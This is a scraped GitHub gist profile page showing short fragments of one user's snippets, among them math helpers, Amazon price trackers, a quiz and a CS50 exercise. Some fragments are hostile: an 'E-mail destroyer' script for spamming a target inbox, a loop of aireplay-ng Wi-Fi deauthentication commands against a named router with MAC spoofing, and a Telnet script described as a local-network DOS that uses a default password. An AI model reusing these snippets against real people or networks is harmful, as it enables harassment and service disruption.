Skip to content

Instantly share code, notes, and snippets.

Tending to my plants

Bee bee-san

Tending to my plants
View GitHub Profile
def gcd(a, b):
# Return the GCD of a and b using Euclid's Algorithm
while a != 0:
a, b = b % a, a
return b
def findModInverse(a, m):
# Returns the modular inverse of a % m, which is
bee-san /
Created Oct 19, 2015
Sieve of Era*
def eratosthenes(n):
all = []
prime = 1
print("1, 2,")
i = 3
while (i <= n):
if i not in all:
print(i, ",")
prime += 1
j = i
__author__ = 'rhien'
#my_boo = "answer"
# not actally used in program
# weird variable names
# You declared a variable 3 times, super inefficent and not needed
# too long, line break like this
print("This is a quiz on world War II. You will learn about WW2 and "
"then you will be quized, so make sure to pay attention!")
print("For every question answer by typing yes or no and then press enter.")
View adsada
# Import smtplib for the actual sending function
import smtplib
def main():
print("/t/tWelcome to the E-mail destroyer.")
target_email = input(("Please enter the email you wish to spam: "))
infinite_or_not = input("Would you like to infinitly spam an email? YES or NO.")
if infinite_or_not.upper().startswith("Y"):
infinite_or_not = True
View gist:4851bd4836c2db314f22
while true
aireplay-ng -0 5 -a 90:f6:52:c1:bb:18 wlan0
ifconfig wlan0 down
macchanger -r wlan0 | grep "New MAC"
iwconfig wlan0 mode monitor
inconfig up
iwconfig wlan0 | grep Mode
bee-san / gist:32bbe4d1f4af30555ae3
Created Dec 20, 2015
Checks Amazon to see if the price of a product has changed, if it's gone lower it'll email you, if not it won't do anything.
View gist:32bbe4d1f4af30555ae3
import bs4
import requests
def main():
file = open("amazon.txt", 'r')
for i in file:
amazon_product = i
amazon_product = amazon_product.split(" ")
bee-san /
Created Dec 24, 2015
Emails you if a product on Amazon goes on sale or gets cheaper
import bs4 as bs # beautiful soup
import requests
import json # javascript object notation
import os
import sys
#TODO Use a SQL database
# auto-key |product name | price | link
View gist:30aca5803a3edc49834d
#!/usr/bin/env python
import unicornhat as unicorn
import time, math, colorsys, random
print("Displaying the rainbows")
speed = 0.03
bee-san / gist:a625863e3a88d07a6261
Created Jan 13, 2016
DOS local network using Telnet, Telnet was left to default password
View gist:a625863e3a88d07a6261
from __future__ import print_function
import os
import time
import telnetlib
import argparse
# -------------- #
HOST = ""
PASSWORD = "admin"
View program.c
#include <cs50.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
string message;
int main(int argc, string argv[]){// checks to make sure argument is correct and valid
if (argc < 2 | argc > 2)
{ printf("Not enough arguments\n"); return 1;}
string key = argv[1]; for (int i = 0, n = strlen(key); i < n; i++) {if (!isalpha(key[i])){printf("Key is not entirely aphabetical");